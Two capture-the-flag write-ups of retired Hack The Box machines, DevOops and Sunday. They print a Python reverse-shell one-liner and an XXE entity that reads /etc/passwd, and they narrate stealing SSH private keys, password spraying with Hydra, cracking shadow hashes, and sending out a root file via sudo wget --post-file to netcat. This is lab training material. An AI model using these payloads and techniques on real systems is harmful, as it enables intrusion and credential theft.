Hack The Box – DevOops

Please note: This post was first released on October 15, 2018 on my old blog at: https://offensive-it.blogspot.com/2018/10/hack-box-devoops.html

This box retired on 12th of October 2018
Goal: CTF – user.txt & root.txt
Difficulty: 4.3 / 10 (rated by HTB-community)

As always we use Nmap to scan for open ports. As we can see in figure 1, the box is hosting a web service on port 5000 and offers SSH on port 22.

1. Nmap scan result

Since it is always a good idea to have some information gathering running in the background we start gobuster and search for any hidden directories. Meanwhile we browse the web site which shows the following text as shown in figure 2.

2. DevOops Website

Since we won’t find anything else of interest on the web site we look at the results of gobuster and see that it has found the two directories “/feed” and “/upload”.
We browse the “/upload” directory and try to upload a reverse shell. Since figure 1 showed that the web service is using Gunicorn, which is a python web server, we try to upload the following python reverse shell, where we want to connect back to our attacking machine on port 9001:

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“”,9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

3. Upload directory

When we hit the upload button we get a statuscode 200 response. But before the connection gets build up we need to browse to the python shell on the web server so that it gets executed. But we do not know in which directory the shell got uploaded. We try to search everywhere to find the shell. My best guess was that it will get uploaded into the “/feed” directory, but we won’t find anything there. Since we are not able to get the uploaded shell executed we need to take a step back and try to find another way to access the system. When we have a look at figure 3 we see that the web service wants the uploaded files to be XML with the elements “Author”, “Subject” and “Content”. So, we create a XML file as shown in figure 4.

4. Harmless XML-File to test upload function

When we upload the file from figure 4 we get a statuscode 200 response and,

5. XML-Upload success

as shown in figure 5, the information where the file has been stored on the system. Because of this, we now know where we can find the files that we upload and furthermore we know that there is a user called “roosa” on the system. The next step is to check whether we can find our reverse shell that we have uploaded earlier inside of the “/uploads” directory. But we have no luck and it looks like the reverse shell never got uploaded.

So, we are still searching for a way to get initial access to the system by executing code from remote which is why I searched for “reverse shell xml” on Google. The fourth article is about XXE which is an web vulnerability which exploits weakly configured XML parsers by uploading maliciously crafted XML files. From the article we learn that with the following code we can make a reference to an external entity.

<!ENTITY xxe SYSTEM “file:///etc/passwd” >]>

To load the reference, we embed “&xxe” inside the value for the subject of our previously crafted XML file which looks like figure 6.

6. XML-File with XXE

When we upload the XML file with the XXE-Code we are able to exfiltrate data from the system as shown in figure 7.

7. Data-Exfiltration via XXE

Combining the ability to exfiltrate data from the system and knowing about a user on the system called roosa, we are already capable to obtain the “user.txt” flag as shown in figure 8.

8. Getting user flag via XXE

Even though we have obtained the user flag we are still missing a valid way to execute commands on the system. From figure 1 we know that the box is offering SSH so maybe we can find a way to access the system via SSH as user roosa. To do so we would need to exfiltrate some credentials or a private key. We take a closer look via XXE at the home directory of user roosa and find a valid entry for “/home/roosa/.ssh/id_rsa” as shown in figure 9. With the private key from we can access the box via SSH as user roosa.

9. SSH private key via XXE
10. . Bash_History

On the system we need to find a way to get root privileges. When we take a look inside the bash history we find a very interesting entry. As figure 10 shows, it seems like a user had previously used “git” and pushed a wrong key file. This sounds like a big “Oops” and therefore might be exactly what we are looking for. Since the user reverted his mistake we need to access the data of the key file before it got changed. To do so we take a closer look at the available git commands and their options. We find a command called git log, which shows the logs for all previous commits. With parameter “-p” we can see what exactly has been modified with each commit. We access the directory “/deploy/resources/integrations” where the “authcredentials.key” file is located. But when we use the “git log” command we get the following error message:

fatal: Not a git repository (or any parent up to mount point /home)
Stopping at filesystem boundary (GIT_DISCOVERY_ACROSS_FILESYSTEM not set).

When search inside the bash history for the git repository we see that it is located inside the directory “/work/blogfeed” for user roosa. So, we change the directory to “/home/roosa/work/blogfeed/resources/integration” and use the git log command and see a preview of all previous commits. When using the “-p” option we can see the exact contents for each commit and are able to find the previous commit from figure 10, where the user had mistakenly uploaded a wrong private SSH key.

11. Initial git commit with “wrong” authentication key

Using the SSH key from figure 11 we can connect to the box via SSH as root and access the final flag as shown in figure 12.

12. Root access & flag


Hack The Box – Sunday

Please note: This post was first released on September 29, 2018 on my old blog at: https://offensive-it.blogspot.com/2018/09/hack-box-sunday.html

This box retired on 29th of September 2018
Goal: CTF – user.txt & root.txt
Difficulty: 4.1 / 10 (rated by HTB-community)

We start with a Nmap scan and use the parameter “-p-” to scan the entire (tcp) port range. As figure 1 shows the box offers a ssh service on port 22022. We could use this information to start a password spraying attack, but to do so we need to know any valid usernames first. Another service that is running on the box is finger, which is a user information lookup program. As shown in figure 1 Nmap already obtained two valid usernames for the box by using finger.

1. Nmap scan result

For each of the two usernames “sunny” and “sammy” we start a password spraying attack with THC-Hydra. With the right password list we gain a hit after some minutes for the user sunny as shown in figure 2.

2. Hydra password spraying

After connecting to the box via ssh as the user sunny we search for the user flag. Typically these flags are inside the “/home” directory of a user. But we wont find any flag inside the home directory for the user sunny. Since we already know about a second user we look inside the “/home” directory for the user sammy. Inside this directory we find the “user.txt” flag, but unfortunately we are not able to access the file. To do so we need to escalate our privileges or access the machine as user sammy.

While doing the standard system enumeration and search for a valid privilege escalation technique we find an entry for the sudo command as shown in figure 3.

3. Sudo options for user sunny

Since it says “troll” we will ignore it for now, while keeping this in mind because it might come in handy later. After some more enumeration we find a backup directory. Inside that directory is a file called “shadow.backup” which contains some password hashes as shown in figure 4.

4. Backup of shadow

We copy the password hash for the user sammy and use hashcat to perform a dictionary attack to gain the cleartext password as shown in figure 5.

5. Using hashcat to recover the password for user sammy
6. Accessing the user flag

With the new obtained password we switch to the user sammy on the box, which grants us access to the user flag. The next step is to gain root privileges. To do so we once more start with the enumeration of the system. While checking for privileges on using sudo we notice that for user sammy there is no “troll”  entry anymore but instead a “NOPASSWD” for “wget” as shown in figure 7.

7. Sudo options for user sammy

With this in mind we take a look at the manual for wget and find an entry for the “–post-file=file option. With this option we can use POST as the method for all HTTP requests and send the data inside the request body. We can use this option to send the contents of the root flag to our local attacking machine while using netcat to listen for the incoming data as shown in figure 8.

8. Obtaining the root flag

At this point we could have also gained a root shell by using wget to send any ssh keys or to manipulate the passwd file on the box. Another interesting file to copy from the box is the shadow file which contains the hash for the password of user root. But sadly, after copying the hash I was not able to recover the password with hashcat and ended up with multiple failed dictionary attacks.

9. Getting root hash